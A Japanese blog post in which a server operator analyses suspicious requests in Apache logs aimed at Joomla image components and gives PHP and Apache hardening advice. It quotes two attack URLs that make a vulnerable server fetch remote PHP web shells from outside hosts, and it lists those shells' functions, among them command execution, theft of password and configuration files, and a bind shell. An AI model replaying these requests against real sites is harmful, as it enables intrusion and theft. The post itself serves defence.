と、大袈裟なタイトルだけぶちあげてなんとなく良いこと言ってるように見せかけるテスト。

前の日記で書いた、 images/stories/3xp.php に対する攻撃は実体が取れなくて諦めたのだけれど、
Apacheのログをあさると、なにやら怪しげなGET要求がチラホラと。

大きく分けて以下の2つ。
index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=https://picasa.com.buscadordetrabajo.es/cybercrime.php

components/com_virtuemart/themes/pbv_multi/scripts/timthumb.php?src=https://picasa.com.winstonsalemdentistry.com/hajar.php

攻撃対象は恐らく両方共Joomlaをインストールした環境で、要求内容から察するに画像関連を扱うもの。
要求内のURLは、GIF画像に見せかけた攻撃コードが含まれており、
外からの要求を受け付けてしまうJoomla環境に画像(に見せかけた攻撃コード)の
アップロードを行おうとしているようだ。
多分、ブラウザで画像フォルダなんかを開いた時に感染するんじゃないだろうか。

中を落としてエディタで開くと、 eval(gzinflate(base64_decode(“ここに攻撃コード”) みたいな感じで
コードが分かりにくくしてある。
ただし、普通のテキストなので、evalをechoに変えて、
コマンドラインからphpを実行してやるとコードの正体が明らかになってくる。

cybercrime.php の方は大したことはなく、パラメータによって、以下の3つの機能を実現する。

・phpのコマンド実行系の関数が使えるかをチェック
・任意のコマンドを実行する
・任意のファイルをアップロードするアップローダ

大したことは無いと言いつつ、この威力。

hajar.php の方は結構な大作で、全部を追うのは面倒なので途中で投げたのだけれど、
ざっくり見た感じ以下の機能が入っている。

・侵入できたサーバのIPと侵入用のURLをメール送信。
・WordPressのなにか設定ファイルっぽいのを取得
・Google、Yahoo等の検索エンジン避け
・/etc/passwd /etc/shadow *.conf、*.sql をはじめとする各種設定ファイルの取得
・MySQL、PostgreSQL、Oracle、MSSQL へのアクセスと情報取得
・ポートを空けて任意のコマンドを受け付けるPerlスクリプトの実行
・Kernelバージョンを取得して、脆弱性のチェック
・FTP へのブルートフォース用のなにか
・遠隔からのファイル操作用のもろもろ

もうやりたい放題で、デコード後のコードサイズ70KBは伊達じゃない。
取れるものは根こそぎ取っていこうというアグレッシブな気概すら感じる。

まぁ、あれだ、ファイルを置かれた時点でもう終わってる。

というわけで、php.ini の disable_functions はちゃんと設定しておきましょうという教訓。
両方に共通する、攻撃の起点となる eval や gzinflate なんかは普通に使う分にはなかなかお目にかかれないし、
コマンド実行系の exec,shell_exec,system,passthru,popen,proc_open は、たしかに便利で、
konata.net でも一部使っているのだけれど、使えないなら使えないでやりようはある。
コマンド実行系は真っ先に狙われる上、中に書かれたコマンドは php.ini の open_basedir なんかの制限を受けないので、
よりヤバいという事情もある。

httpd.conf や .htaccess を使って、アクセス制限を厳しくすると言った手法は古典的であっても有効で、
例えば、Linuxのディストリにプリインストールされてるhttpd.confなんて捨てて、
1からセキュリテイと機能の両方を意識して書いてみるのもいい。
httpd.conf で行った権限設定が、配下のディレクトリにどのような影響をおよぼすのか?
とか、そういうのはやっぱり一度、自分の目でみて自分で考えて吸収するべきだから。

盛大に流出をやらかした、2chとか、@PAGES、ロリポップ なんかを
馬鹿だアホだ無能だと蔑むことは出来るけれども、
それよりもまずはそれを他山の石とする所から始めなければならないわけで。

守る側よりも攻める側が楽なのは今も昔も変わらない。
そして、セキュリテイに完璧は存在しない。

と、なんかいい事言ってやった気になって終わる。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です